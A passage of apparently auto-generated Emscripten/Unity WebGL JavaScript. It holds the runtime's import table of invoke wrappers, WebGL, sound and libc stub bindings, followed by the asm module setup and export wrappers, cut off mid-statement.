,"invoke_iiiifiiii":invoke_iiiifiiii,"invoke_iiiifiiiii":invoke_iiiifiiiii,"invoke_iiiii":invoke_iiiii,"invoke_iiiiiffi":invoke_iiiiiffi,"invoke_iiiiifi":invoke_iiiiifi,"invoke_iiiiifiii":invoke_iiiiifiii,"invoke_iiiiifiiiiif":invoke_iiiiifiiiiif,"invoke_iiiiii":invoke_iiiiii,"invoke_iiiiiifff":invoke_iiiiiifff,"invoke_iiiiiifffiiifiii":invoke_iiiiiifffiiifiii,"invoke_iiiiiiffiiiiiiiiiffffiii":invoke_iiiiiiffiiiiiiiiiffffiii,"invoke_iiiiiiffiiiiiiiiiffffiiii":invoke_iiiiiiffiiiiiiiiiffffiiii,"invoke_iiiiiiffiiiiiiiiiiiiiii":invoke_iiiiiiffiiiiiiiiiiiiiii,"invoke_iiiiiifiif":invoke_iiiiiifiif,"invoke_iiiiiifiii":invoke_iiiiiifiii,"invoke_iiiiiii":invoke_iiiiiii,"invoke_iiiiiiifiif":invoke_iiiiiiifiif,"invoke_iiiiiiii":invoke_iiiiiiii,"invoke_iiiiiiiii":invoke_iiiiiiiii,"invoke_iiiiiiiiii":invoke_iiiiiiiiii,"invoke_iiiiiiiiiii":invoke_iiiiiiiiiii,"invoke_iiiiiiiiiiii":invoke_iiiiiiiiiiii,"invoke_iiiiiiiiiiiii":invoke_iiiiiiiiiiiii,"invoke_iiiiiiiiiiiiii":invoke_iiiiiiiiiiiiii,"invoke_iiiiiji":invoke_iiiiiji,"invoke_iiiij":invoke_iiiij,"invoke_iiiiji":invoke_iiiiji,"invoke_iiiijii":invoke_iiiijii,"invoke_iiiijiii":invoke_iiiijiii,"invoke_iiij":invoke_iiij,"invoke_iiiji":invoke_iiiji,"invoke_iiijii":invoke_iiijii,"invoke_iiijiii":invoke_iiijiii,"invoke_iij":invoke_iij,"invoke_iiji":invoke_iiji,"invoke_iijii":invoke_iijii,"invoke_iijiii":invoke_iijiii,"invoke_iijji":invoke_iijji,"invoke_iijjii":invoke_iijjii,"invoke_iijjiii":invoke_iijjiii,"invoke_iijjji":invoke_iijjji,"invoke_ij":invoke_ij,"invoke_iji":invoke_iji,"invoke_ijiii":invoke_ijiii,"invoke_ijj":invoke_ijj,"invoke_ijji":invoke_ijji,"invoke_j":invoke_j,"invoke_jdi":invoke_jdi,"invoke_jdii":invoke_jdii,"invoke_jfi":invoke_jfi,"invoke_ji":invoke_ji,"invoke_jidi":invoke_jidi,"invoke_jidii":invoke_jidii,"invoke_jii":invoke_jii,"invoke_jiii":invoke_jiii,"invoke_jiiii":invoke_jiiii,"invoke_jiiiii":invoke_jiiiii,"invoke_jiiiiii":invoke_jiiiiii,"invoke_jiiiiiiiiii":invoke_jiiiiiiiiii,"invoke_jiiji":invoke_jiiji,"invoke_jiji":invoke_jiji,"invoke_jijii":invoke_jijii,"invoke_jijiii":invoke_jijiii,"invoke_jijj":invoke_jijj,"invoke_jijji":invoke_jijji,"invoke_jji":invoke_jji,"invoke_jjji":invoke_jjji,"invoke_v":invoke_v,"invoke_vd":invoke_vd,"invoke_vf":invoke_vf,"invoke_vff":invoke_vff,"invoke_vffff":invoke_vffff,"invoke_vffffi":invoke_vffffi,"invoke_vffffii":invoke_vffffii,"invoke_vfi":invoke_vfi,"invoke_vfii":invoke_vfii,"invoke_vfiii":invoke_vfiii,"invoke_vi":invoke_vi,"invoke_vid":invoke_vid,"invoke_viddi":invoke_viddi,"invoke_viddiiii":invoke_viddiiii,"invoke_vidi":invoke_vidi,"invoke_vidii":invoke_vidii,"invoke_vidiii":invoke_vidiii,"invoke_vif":invoke_vif,"invoke_viff":invoke_viff,"invoke_vifff":invoke_vifff,"invoke_viffff":invoke_viffff,"invoke_vifffffi":invoke_vifffffi,"invoke_viffffi":invoke_viffffi,"invoke_viffffii":invoke_viffffii,"invoke_viffffiifffiiiiif":invoke_viffffiifffiiiiif,"invoke_vifffi":invoke_vifffi,"invoke_vifffii":invoke_vifffii,"invoke_viffi":invoke_viffi,"invoke_viffii":invoke_viffii,"invoke_viffiifffffiii":invoke_viffiifffffiii,"invoke_viffiifffiii":invoke_viffiifffiii,"invoke_viffiii":invoke_viffiii,"invoke_viffiiiif":invoke_viffiiiif,"invoke_vifi":invoke_vifi,"invoke_vifii":invoke_vifii,"invoke_vifiii":invoke_vifiii,"invoke_vifiiii":invoke_vifiiii,"invoke_vifiiiii":invoke_vifiiiii,"invoke_vifijii":invoke_vifijii,"invoke_vii":invoke_vii,"invoke_viid":invoke_viid,"invoke_viidi":invoke_viidi,"invoke_viidii":invoke_viidii,"invoke_viif":invoke_viif,"invoke_viiff":invoke_viiff,"invoke_viifff":invoke_viifff,"invoke_viiffffffffi":invoke_viiffffffffi,"invoke_viiffffffffiii":invoke_viiffffffffiii,"invoke_viifffffffi":invoke_viifffffffi,"invoke_viiffffffi":invoke_viiffffffi,"invoke_viifffffi":invoke_viifffffi,"invoke_viiffffi":invoke_viiffffi,"invoke_viifffi":invoke_viifffi,"invoke_viiffi":invoke_viiffi,"invoke_viiffii":invoke_viiffii,"invoke_viifi":invoke_viifi,"invoke_viifii":invoke_viifii,"invoke_viifiii":invoke_viifiii,"invoke_viifiiii":invoke_viifiiii,"invoke_viii":invoke_viii,"invoke_viiidi":invoke_viiidi,"invoke_viiif":invoke_viiif,"invoke_viiifffi":invoke_viiifffi,"invoke_viiiffi":invoke_viiiffi,"invoke_viiiffii":invoke_viiiffii,"invoke_viiifi":invoke_viiifi,"invoke_viiififfi":invoke_viiififfi,"invoke_viiififi":invoke_viiififi,"invoke_viiififii":invoke_viiififii,"invoke_viiififiii":invoke_viiififiii,"invoke_viiifii":invoke_viiifii,"invoke_viiifiii":invoke_viiifiii,"invoke_viiifiiiii":invoke_viiifiiiii,"invoke_viiii":invoke_viiii,"invoke_viiiif":invoke_viiiif,"invoke_viiiiffffii":invoke_viiiiffffii,"invoke_viiiifffi":invoke_viiiifffi,"invoke_viiiiffi":invoke_viiiiffi,"invoke_viiiifi":invoke_viiiifi,"invoke_viiiififii":invoke_viiiififii,"invoke_viiiifii":invoke_viiiifii,"invoke_viiiifiii":invoke_viiiifiii,"invoke_viiiifiiiiif":invoke_viiiifiiiiif,"invoke_viiiii":invoke_viiiii,"invoke_viiiiif":invoke_viiiiif,"invoke_viiiiifffi":invoke_viiiiifffi,"invoke_viiiiiffi":invoke_viiiiiffi,"invoke_viiiiiffii":invoke_viiiiiffii,"invoke_viiiiifi":invoke_viiiiifi,"invoke_viiiiii":invoke_viiiiii,"invoke_viiiiiif":invoke_viiiiiif,"invoke_viiiiiifi":invoke_viiiiiifi,"invoke_viiiiiii":invoke_viiiiiii,"invoke_viiiiiiifi":invoke_viiiiiiifi,"invoke_viiiiiiifiii":invoke_viiiiiiifiii,"invoke_viiiiiiii":invoke_viiiiiiii,"invoke_viiiiiiiii":invoke_viiiiiiiii,"invoke_viiiiiiiiii":invoke_viiiiiiiiii,"invoke_viiiiiiiiiii":invoke_viiiiiiiiiii,"invoke_viiiiiiiiiiifii":invoke_viiiiiiiiiiifii,"invoke_viiiiiiiiiiii":invoke_viiiiiiiiiiii,"invoke_viiiiiiiiiiiiii":invoke_viiiiiiiiiiiiii,"invoke_viiiiiiiiiiiiiii":invoke_viiiiiiiiiiiiiii,"invoke_viiiiiiiiiiiiiiiiii":invoke_viiiiiiiiiiiiiiiiii,"invoke_viiiij":invoke_viiiij,"invoke_viiiijiiii":invoke_viiiijiiii,"invoke_viiiji":invoke_viiiji,"invoke_viiijji":invoke_viiijji,"invoke_viij":invoke_viij,"invoke_viiji":invoke_viiji,"invoke_viijii":invoke_viijii,"invoke_viijiijiii":invoke_viijiijiii,"invoke_viijijii":invoke_viijijii,"invoke_viijijiii":invoke_viijijiii,"invoke_viijijj":invoke_viijijj,"invoke_viijj":invoke_viijj,"invoke_viijji":invoke_viijji,"invoke_viijjiii":invoke_viijjiii,"invoke_viijjji":invoke_viijjji,"invoke_vij":invoke_vij,"invoke_viji":invoke_viji,"invoke_vijii":invoke_vijii,"invoke_vijiii":invoke_vijiii,"invoke_vijiji":invoke_vijiji,"invoke_vijijji":invoke_vijijji,"invoke_vijji":invoke_vijji,"invoke_vijjii":invoke_vijjii,"invoke_vjiiii":invoke_vjiiii,"invoke_vjji":invoke_vjji,"_JS_Cursor_SetImage":_JS_Cursor_SetImage,"_JS_Cursor_SetShow":_JS_Cursor_SetShow,"_JS_Eval_ClearInterval":_JS_Eval_ClearInterval,"_JS_Eval_SetInterval":_JS_Eval_SetInterval,"_JS_FileSystem_Initialize":_JS_FileSystem_Initialize,"_JS_FileSystem_Sync":_JS_FileSystem_Sync,"_JS_Log_Dump":_JS_Log_Dump,"_JS_Log_StackTrace":_JS_Log_StackTrace,"_JS_Sound_Create_Channel":_JS_Sound_Create_Channel,"_JS_Sound_GetLength":_JS_Sound_GetLength,"_JS_Sound_GetLoadState":_JS_Sound_GetLoadState,"_JS_Sound_Init":_JS_Sound_Init,"_JS_Sound_Load":_JS_Sound_Load,"_JS_Sound_Load_PCM":_JS_Sound_Load_PCM,"_JS_Sound_Play":_JS_Sound_Play,"_JS_Sound_ReleaseInstance":_JS_Sound_ReleaseInstance,"_JS_Sound_ResumeIfNeeded":_JS_Sound_ResumeIfNeeded,"_JS_Sound_Set3D":_JS_Sound_Set3D,"_JS_Sound_SetListenerOrientation":_JS_Sound_SetListenerOrientation,"_JS_Sound_SetListenerPosition":_JS_Sound_SetListenerPosition,"_JS_Sound_SetLoop":_JS_Sound_SetLoop,"_JS_Sound_SetLoopPoints":_JS_Sound_SetLoopPoints,"_JS_Sound_SetPitch":_JS_Sound_SetPitch,"_JS_Sound_SetPosition":_JS_Sound_SetPosition,"_JS_Sound_SetVolume":_JS_Sound_SetVolume,"_JS_Sound_Stop":_JS_Sound_Stop,"_JS_SystemInfo_GetCanvasClientSize":_JS_SystemInfo_GetCanvasClientSize,"_JS_SystemInfo_GetDocumentURL":_JS_SystemInfo_GetDocumentURL,"_JS_SystemInfo_GetGPUInfo":_JS_SystemInfo_GetGPUInfo,"_JS_SystemInfo_GetMatchWebGLToCanvasSize":_JS_SystemInfo_GetMatchWebGLToCanvasSize,"_JS_SystemInfo_GetMemory":_JS_SystemInfo_GetMemory,"_JS_SystemInfo_GetOS":_JS_SystemInfo_GetOS,"_JS_SystemInfo_GetPreferredDevicePixelRatio":_JS_SystemInfo_GetPreferredDevicePixelRatio,"_JS_SystemInfo_GetScreenSize":_JS_SystemInfo_GetScreenSize,"_JS_SystemInfo_HasCursorLock":_JS_SystemInfo_HasCursorLock,"_JS_SystemInfo_HasFullscreen":_JS_SystemInfo_HasFullscreen,"_JS_SystemInfo_HasWebGL":_JS_SystemInfo_HasWebGL,"__ZSt18uncaught_exceptionv":__ZSt18uncaught_exceptionv,"___atomic_compare_exchange_8":___atomic_compare_exchange_8,"___atomic_fetch_add_8":___atomic_fetch_add_8,"___buildEnvironment":___buildEnvironment,"___cxa_allocate_exception":___cxa_allocate_exception,"___cxa_begin_catch":___cxa_begin_catch,"___cxa_end_catch":___cxa_end_catch,"___cxa_find_matching_catch":___cxa_find_matching_catch,"___cxa_find_matching_catch_2":___cxa_find_matching_catch_2,"___cxa_find_matching_catch_3":___cxa_find_matching_catch_3,"___cxa_find_matching_catch_4":___cxa_find_matching_catch_4,"___cxa_free_exception":___cxa_free_exception,"___cxa_pure_virtual":___cxa_pure_virtual,"___cxa_rethrow":___cxa_rethrow,"___cxa_throw":___cxa_throw,"___gxx_personality_v0":___gxx_personality_v0,"___lock":___lock,"___map_file":___map_file,"___resumeException":___resumeException,"___setErrNo":___setErrNo,"___syscall10":___syscall10,"___syscall102":___syscall102,"___syscall122":___syscall122,"___syscall140":___syscall140,"___syscall142":___syscall142,"___syscall145":___syscall145,"___syscall146":___syscall146,"___syscall15":___syscall15,"___syscall183":___syscall183,"___syscall192":___syscall192,"___syscall193":___syscall193,"___syscall195":___syscall195,"___syscall196":___syscall196,"___syscall197":___syscall197,"___syscall199":___syscall199,"___syscall202":___syscall202,"___syscall220":___syscall220,"___syscall221":___syscall221,"___syscall268":___syscall268,"___syscall3":___syscall3,"___syscall33":___syscall33,"___syscall38":___syscall38,"___syscall39":___syscall39,"___syscall4":___syscall4,"___syscall40":___syscall40,"___syscall5":___syscall5,"___syscall54":___syscall54,"___syscall6":___syscall6,"___syscall77":___syscall77,"___syscall85":___syscall85,"___syscall91":___syscall91,"___unlock":___unlock,"__addDays":__addDays,"__arraySum":__arraySum,"__emscripten_do_request_fullscreen":__emscripten_do_request_fullscreen,"__emscripten_sample_gamepad_data":__emscripten_sample_gamepad_data,"__emscripten_traverse_stack":__emscripten_traverse_stack,"__exit":__exit,"__formatString":__formatString,"__inet_ntop4_raw":__inet_ntop4_raw,"__inet_ntop6_raw":__inet_ntop6_raw,"__inet_pton4_raw":__inet_pton4_raw,"__inet_pton6_raw":__inet_pton6_raw,"__isLeapYear":__isLeapYear,"__read_sockaddr":__read_sockaddr,"__reallyNegative":__reallyNegative,"__setLetterbox":__setLetterbox,"__write_sockaddr":__write_sockaddr,"_abort":_abort,"_atexit":_atexit,"_clock":_clock,"_clock_getres":_clock_getres,"_clock_gettime":_clock_gettime,"_difftime":_difftime,"_dlclose":_dlclose,"_dlopen":_dlopen,"_dlsym":_dlsym,"_emscripten_asm_const_i":_emscripten_asm_const_i,"_emscripten_asm_const_ii":_emscripten_asm_const_ii,"_emscripten_asm_const_sync_on_main_thread_i":_emscripten_asm_const_sync_on_main_thread_i,"_emscripten_cancel_main_loop":_emscripten_cancel_main_loop,"_emscripten_exit_fullscreen":_emscripten_exit_fullscreen,"_emscripten_exit_pointerlock":_emscripten_exit_pointerlock,"_emscripten_get_callstack_js":_emscripten_get_callstack_js,"_emscripten_get_canvas_element_size":_emscripten_get_canvas_element_size,"_emscripten_get_canvas_element_size_calling_thread":_emscripten_get_canvas_element_size_calling_thread,"_emscripten_get_canvas_element_size_main_thread":_emscripten_get_canvas_element_size_main_thread,"_emscripten_get_fullscreen_status":_emscripten_get_fullscreen_status,"_emscripten_get_gamepad_status":_emscripten_get_gamepad_status,"_emscripten_get_main_loop_timing":_emscripten_get_main_loop_timing,"_emscripten_get_now":_emscripten_get_now,"_emscripten_get_now_is_monotonic":_emscripten_get_now_is_monotonic,"_emscripten_get_now_res":_emscripten_get_now_res,"_emscripten_get_num_gamepads":_emscripten_get_num_gamepads,"_emscripten_has_threading_support":_emscripten_has_threading_support,"_emscripten_html5_remove_all_event_listeners":_emscripten_html5_remove_all_event_listeners,"_emscripten_is_webgl_context_lost":_emscripten_is_webgl_context_lost,"_emscripten_log":_emscripten_log,"_emscripten_log_js":_emscripten_log_js,"_emscripten_memcpy_big":_emscripten_memcpy_big,"_emscripten_num_logical_cores":_emscripten_num_logical_cores,"_emscripten_request_fullscreen":_emscripten_request_fullscreen,"_emscripten_request_pointerlock":_emscripten_request_pointerlock,"_emscripten_set_blur_callback_on_thread":_emscripten_set_blur_callback_on_thread,"_emscripten_set_canvas_element_size":_emscripten_set_canvas_element_size,"_emscripten_set_canvas_element_size_calling_thread":_emscripten_set_canvas_element_size_calling_thread,"_emscripten_set_canvas_element_size_main_thread":_emscripten_set_canvas_element_size_main_thread,"_emscripten_set_dblclick_callback_on_thread":_emscripten_set_dblclick_callback_on_thread,"_emscripten_set_devicemotion_callback_on_thread":_emscripten_set_devicemotion_callback_on_thread,"_emscripten_set_deviceorientation_callback_on_thread":_emscripten_set_deviceorientation_callback_on_thread,"_emscripten_set_focus_callback_on_thread":_emscripten_set_focus_callback_on_thread,"_emscripten_set_fullscreenchange_callback_on_thread":_emscripten_set_fullscreenchange_callback_on_thread,"_emscripten_set_gamepadconnected_callback_on_thread":_emscripten_set_gamepadconnected_callback_on_thread,"_emscripten_set_gamepaddisconnected_callback_on_thread":_emscripten_set_gamepaddisconnected_callback_on_thread,"_emscripten_set_keydown_callback_on_thread":_emscripten_set_keydown_callback_on_thread,"_emscripten_set_keypress_callback_on_thread":_emscripten_set_keypress_callback_on_thread,"_emscripten_set_keyup_callback_on_thread":_emscripten_set_keyup_callback_on_thread,"_emscripten_set_main_loop":_emscripten_set_main_loop,"_emscripten_set_main_loop_timing":_emscripten_set_main_loop_timing,"_emscripten_set_mousedown_callback_on_thread":_emscripten_set_mousedown_callback_on_thread,"_emscripten_set_mousemove_callback_on_thread":_emscripten_set_mousemove_callback_on_thread,"_emscripten_set_mouseup_callback_on_thread":_emscripten_set_mouseup_callback_on_thread,"_emscripten_set_touchcancel_callback_on_thread":_emscripten_set_touchcancel_callback_on_thread,"_emscripten_set_touchend_callback_on_thread":_emscripten_set_touchend_callback_on_thread,"_emscripten_set_touchmove_callback_on_thread":_emscripten_set_touchmove_callback_on_thread,"_emscripten_set_touchstart_callback_on_thread":_emscripten_set_touchstart_callback_on_thread,"_emscripten_set_wheel_callback_on_thread":_emscripten_set_wheel_callback_on_thread,"_emscripten_webgl_create_context":_emscripten_webgl_create_context,"_emscripten_webgl_destroy_context":_emscripten_webgl_destroy_context,"_emscripten_webgl_destroy_context_calling_thread":_emscripten_webgl_destroy_context_calling_thread,"_emscripten_webgl_do_create_context":_emscripten_webgl_do_create_context,"_emscripten_webgl_do_get_current_context":_emscripten_webgl_do_get_current_context,"_emscripten_webgl_enable_extension":_emscripten_webgl_enable_extension,"_emscripten_webgl_enable_extension_calling_thread":_emscripten_webgl_enable_extension_calling_thread,"_emscripten_webgl_get_current_context":_emscripten_webgl_get_current_context,"_emscripten_webgl_init_context_attributes":_emscripten_webgl_init_context_attributes,"_emscripten_webgl_make_context_current":_emscripten_webgl_make_context_current,"_exit":_exit,"_flock":_flock,"_getenv":_getenv,"_gethostbyaddr":_gethostbyaddr,"_gethostbyname":_gethostbyname,"_getpagesize":_getpagesize,"_getpwuid":_getpwuid,"_gettimeofday":_gettimeofday,"_glActiveTexture":_glActiveTexture,"_glAttachShader":_glAttachShader,"_glBeginQuery":_glBeginQuery,"_glBeginTransformFeedback":_glBeginTransformFeedback,"_glBindAttribLocation":_glBindAttribLocation,"_glBindBuffer":_glBindBuffer,"_glBindBufferBase":_glBindBufferBase,"_glBindBufferRange":_glBindBufferRange,"_glBindFramebuffer":_glBindFramebuffer,"_glBindRenderbuffer":_glBindRenderbuffer,"_glBindSampler":_glBindSampler,"_glBindTexture":_glBindTexture,"_glBindTransformFeedback":_glBindTransformFeedback,"_glBindVertexArray":_glBindVertexArray,"_glBlendEquation":_glBlendEquation,"_glBlendEquationSeparate":_glBlendEquationSeparate,"_glBlendFuncSeparate":_glBlendFuncSeparate,"_glBlitFramebuffer":_glBlitFramebuffer,"_glBufferData":_glBufferData,"_glBufferSubData":_glBufferSubData,"_glCheckFramebufferStatus":_glCheckFramebufferStatus,"_glClear":_glClear,"_glClearBufferfi":_glClearBufferfi,"_glClearBufferfv":_glClearBufferfv,"_glClearBufferuiv":_glClearBufferuiv,"_glClearColor":_glClearColor,"_glClearDepthf":_glClearDepthf,"_glClearStencil":_glClearStencil,"_glClientWaitSync":_glClientWaitSync,"_glColorMask":_glColorMask,"_glCompileShader":_glCompileShader,"_glCompressedTexImage2D":_glCompressedTexImage2D,"_glCompressedTexImage3D":_glCompressedTexImage3D,"_glCompressedTexSubImage2D":_glCompressedTexSubImage2D,"_glCompressedTexSubImage3D":_glCompressedTexSubImage3D,"_glCopyBufferSubData":_glCopyBufferSubData,"_glCopyTexImage2D":_glCopyTexImage2D,"_glCopyTexSubImage2D":_glCopyTexSubImage2D,"_glCreateProgram":_glCreateProgram,"_glCreateShader":_glCreateShader,"_glCullFace":_glCullFace,"_glDeleteBuffers":_glDeleteBuffers,"_glDeleteFramebuffers":_glDeleteFramebuffers,"_glDeleteProgram":_glDeleteProgram,"_glDeleteQueries":_glDeleteQueries,"_glDeleteRenderbuffers":_glDeleteRenderbuffers,"_glDeleteSamplers":_glDeleteSamplers,"_glDeleteShader":_glDeleteShader,"_glDeleteSync":_glDeleteSync,"_glDeleteTextures":_glDeleteTextures,"_glDeleteTransformFeedbacks":_glDeleteTransformFeedbacks,"_glDeleteVertexArrays":_glDeleteVertexArrays,"_glDepthFunc":_glDepthFunc,"_glDepthMask":_glDepthMask,"_glDetachShader":_glDetachShader,"_glDisable":_glDisable,"_glDisableVertexAttribArray":_glDisableVertexAttribArray,"_glDrawArrays":_glDrawArrays,"_glDrawArraysInstanced":_glDrawArraysInstanced,"_glDrawBuffers":_glDrawBuffers,"_glDrawElements":_glDrawElements,"_glDrawElementsInstanced":_glDrawElementsInstanced,"_glEnable":_glEnable,"_glEnableVertexAttribArray":_glEnableVertexAttribArray,"_glEndQuery":_glEndQuery,"_glEndTransformFeedback":_glEndTransformFeedback,"_glFenceSync":_glFenceSync,"_glFinish":_glFinish,"_glFlush":_glFlush,"_glFlushMappedBufferRange":_glFlushMappedBufferRange,"_glFramebufferRenderbuffer":_glFramebufferRenderbuffer,"_glFramebufferTexture2D":_glFramebufferTexture2D,"_glFramebufferTextureLayer":_glFramebufferTextureLayer,"_glFrontFace":_glFrontFace,"_glGenBuffers":_glGenBuffers,"_glGenFramebuffers":_glGenFramebuffers,"_glGenQueries":_glGenQueries,"_glGenRenderbuffers":_glGenRenderbuffers,"_glGenSamplers":_glGenSamplers,"_glGenTextures":_glGenTextures,"_glGenTransformFeedbacks":_glGenTransformFeedbacks,"_glGenVertexArrays":_glGenVertexArrays,"_glGenerateMipmap":_glGenerateMipmap,"_glGetActiveAttrib":_glGetActiveAttrib,"_glGetActiveUniform":_glGetActiveUniform,"_glGetActiveUniformBlockName":_glGetActiveUniformBlockName,"_glGetActiveUniformBlockiv":_glGetActiveUniformBlockiv,"_glGetActiveUniformsiv":_glGetActiveUniformsiv,"_glGetAttribLocation":_glGetAttribLocation,"_glGetError":_glGetError,"_glGetFramebufferAttachmentParameteriv":_glGetFramebufferAttachmentParameteriv,"_glGetIntegeri_v":_glGetIntegeri_v,"_glGetIntegerv":_glGetIntegerv,"_glGetInternalformativ":_glGetInternalformativ,"_glGetProgramBinary":_glGetProgramBinary,"_glGetProgramInfoLog":_glGetProgramInfoLog,"_glGetProgramiv":_glGetProgramiv,"_glGetRenderbufferParameteriv":_glGetRenderbufferParameteriv,"_glGetShaderInfoLog":_glGetShaderInfoLog,"_glGetShaderPrecisionFormat":_glGetShaderPrecisionFormat,"_glGetShaderSource":_glGetShaderSource,"_glGetShaderiv":_glGetShaderiv,"_glGetString":_glGetString,"_glGetStringi":_glGetStringi,"_glGetTexParameteriv":_glGetTexParameteriv,"_glGetUniformBlockIndex":_glGetUniformBlockIndex,"_glGetUniformIndices":_glGetUniformIndices,"_glGetUniformLocation":_glGetUniformLocation,"_glGetUniformiv":_glGetUniformiv,"_glGetVertexAttribiv":_glGetVertexAttribiv,"_glInvalidateFramebuffer":_glInvalidateFramebuffer,"_glIsEnabled":_glIsEnabled,"_glIsVertexArray":_glIsVertexArray,"_glLinkProgram":_glLinkProgram,"_glMapBufferRange":_glMapBufferRange,"_glPixelStorei":_glPixelStorei,"_glPolygonOffset":_glPolygonOffset,"_glProgramBinary":_glProgramBinary,"_glProgramParameteri":_glProgramParameteri,"_glReadBuffer":_glReadBuffer,"_glReadPixels":_glReadPixels,"_glRenderbufferStorage":_glRenderbufferStorage,"_glRenderbufferStorageMultisample":_glRenderbufferStorageMultisample,"_glSamplerParameteri":_glSamplerParameteri,"_glScissor":_glScissor,"_glShaderSource":_glShaderSource,"_glStencilFuncSeparate":_glStencilFuncSeparate,"_glStencilMask":_glStencilMask,"_glStencilOpSeparate":_glStencilOpSeparate,"_glTexImage2D":_glTexImage2D,"_glTexImage3D":_glTexImage3D,"_glTexParameterf":_glTexParameterf,"_glTexParameteri":_glTexParameteri,"_glTexParameteriv":_glTexParameteriv,"_glTexStorage2D":_glTexStorage2D,"_glTexStorage3D":_glTexStorage3D,"_glTexSubImage2D":_glTexSubImage2D,"_glTexSubImage3D":_glTexSubImage3D,"_glTransformFeedbackVaryings":_glTransformFeedbackVaryings,"_glUniform1fv":_glUniform1fv,"_glUniform1i":_glUniform1i,"_glUniform1iv":_glUniform1iv,"_glUniform1uiv":_glUniform1uiv,"_glUniform2fv":_glUniform2fv,"_glUniform2iv":_glUniform2iv,"_glUniform2uiv":_glUniform2uiv,"_glUniform3fv":_glUniform3fv,"_glUniform3iv":_glUniform3iv,"_glUniform3uiv":_glUniform3uiv,"_glUniform4fv":_glUniform4fv,"_glUniform4iv":_glUniform4iv,"_glUniform4uiv":_glUniform4uiv,"_glUniformBlockBinding":_glUniformBlockBinding,"_glUniformMatrix3fv":_glUniformMatrix3fv,"_glUniformMatrix4fv":_glUniformMatrix4fv,"_glUnmapBuffer":_glUnmapBuffer,"_glUseProgram":_glUseProgram,"_glValidateProgram":_glValidateProgram,"_glVertexAttrib4f":_glVertexAttrib4f,"_glVertexAttrib4fv":_glVertexAttrib4fv,"_glVertexAttribIPointer":_glVertexAttribIPointer,"_glVertexAttribPointer":_glVertexAttribPointer,"_glViewport":_glViewport,"_gmtime":_gmtime,"_gmtime_r":_gmtime_r,"_inet_addr":_inet_addr,"_llvm_ceil_f32":_llvm_ceil_f32,"_llvm_ceil_f64":_llvm_ceil_f64,"_llvm_copysign_f64":_llvm_copysign_f64,"_llvm_cos_f32":_llvm_cos_f32,"_llvm_cttz_i32":_llvm_cttz_i32,"_llvm_eh_typeid_for":_llvm_eh_typeid_for,"_llvm_exp2_f32":_llvm_exp2_f32,"_llvm_fabs_f32":_llvm_fabs_f32,"_llvm_fabs_f64":_llvm_fabs_f64,"_llvm_floor_f32":_llvm_floor_f32,"_llvm_floor_f64":_llvm_floor_f64,"_llvm_log10_f32":_llvm_log10_f32,"_llvm_log2_f32":_llvm_log2_f32,"_llvm_pow_f64":_llvm_pow_f64,"_llvm_sin_f32":_llvm_sin_f32,"_llvm_sqrt_f32":_llvm_sqrt_f32,"_llvm_trap":_llvm_trap,"_llvm_trunc_f32":_llvm_trunc_f32,"_localtime":_localtime,"_localtime_r":_localtime_r,"_longjmp":_longjmp,"_mktime":_mktime,"_nanosleep":_nanosleep,"_pthread_cond_destroy":_pthread_cond_destroy,"_pthread_cond_init":_pthread_cond_init,"_pthread_cond_timedwait":_pthread_cond_timedwait,"_pthread_cond_wait":_pthread_cond_wait,"_pthread_getspecific":_pthread_getspecific,"_pthread_key_create":_pthread_key_create,"_pthread_key_delete":_pthread_key_delete,"_pthread_mutex_destroy":_pthread_mutex_destroy,"_pthread_mutex_init":_pthread_mutex_init,"_pthread_mutexattr_destroy":_pthread_mutexattr_destroy,"_pthread_mutexattr_init":_pthread_mutexattr_init,"_pthread_mutexattr_setprotocol":_pthread_mutexattr_setprotocol,"_pthread_mutexattr_settype":_pthread_mutexattr_settype,"_pthread_once":_pthread_once,"_pthread_setspecific":_pthread_setspecific,"_sched_yield":_sched_yield,"_setenv":_setenv,"_sigaction":_sigaction,"_sigemptyset":_sigemptyset,"_strftime":_strftime,"_sysconf":_sysconf,"_time":_time,"_tzset":_tzset,"_unsetenv":_unsetenv,"_usleep":_usleep,"_utime":_utime,"emscriptenWebGLComputeImageSize":emscriptenWebGLComputeImageSize,"emscriptenWebGLGet":emscriptenWebGLGet,"emscriptenWebGLGetBufferBinding":emscriptenWebGLGetBufferBinding,"emscriptenWebGLGetHeapForType":emscriptenWebGLGetHeapForType,"emscriptenWebGLGetIndexed":emscriptenWebGLGetIndexed,"emscriptenWebGLGetShiftForType":emscriptenWebGLGetShiftForType,"emscriptenWebGLGetTexPixelData":emscriptenWebGLGetTexPixelData,"emscriptenWebGLGetUniform":emscriptenWebGLGetUniform,"emscriptenWebGLGetVertexAttrib":emscriptenWebGLGetVertexAttrib,"emscriptenWebGLValidateMapBufferTarget":emscriptenWebGLValidateMapBufferTarget,"emscripten_get_canvas_element_size_js":emscripten_get_canvas_element_size_js,"emscripten_set_canvas_element_size_js":emscripten_set_canvas_element_size_js,"DYNAMICTOP_PTR":DYNAMICTOP_PTR,"tempDoublePtr":tempDoublePtr,"ABORT":ABORT,"STACKTOP":STACKTOP,"STACK_MAX":STACK_MAX};var asm=Module["asm"](Module.asmGlobalArg,Module.asmLibraryArg,buffer);Module["asm"]=asm;var _SendMessage=Module["_SendMessage"]=(function(){return Module["asm"]["_SendMessage"].apply(null,arguments)});var _SendMessageFloat=Module["_SendMessageFloat"]=(function(){return Module["asm"]["_SendMessageFloat"].apply(null,arguments)});var _SendMessageString=Module["_SendMessageString"]=(function(){return Module["asm"]["_SendMessageString"].apply(null,arguments)});var _SetFullscreen=Module["_SetFullscreen"]=(function(){return Module["asm"]["_SetFullscreen"].apply(null,arguments)});var __GLOBAL__sub_I_AIScriptingClasses_cpp=Module["__GLOBAL__sub_I_AIScriptingClasses_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_AIScriptingClasses_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_AccessibilityScriptingClasses_cpp=Module["__GLOBAL__sub_I_AccessibilityScriptingClasses_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_AccessibilityScriptingClasses_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_AndroidJNIScriptingClasses_cpp=Module["__GLOBAL__sub_I_AndroidJNIScriptingClasses_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_AndroidJNIScriptingClasses_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_AnimationClip_cpp=Module["__GLOBAL__sub_I_AnimationClip_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_AnimationClip_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_AnimationScriptingClasses_cpp=Module["__GLOBAL__sub_I_AnimationScriptingClasses_cpp"]=(function(){return 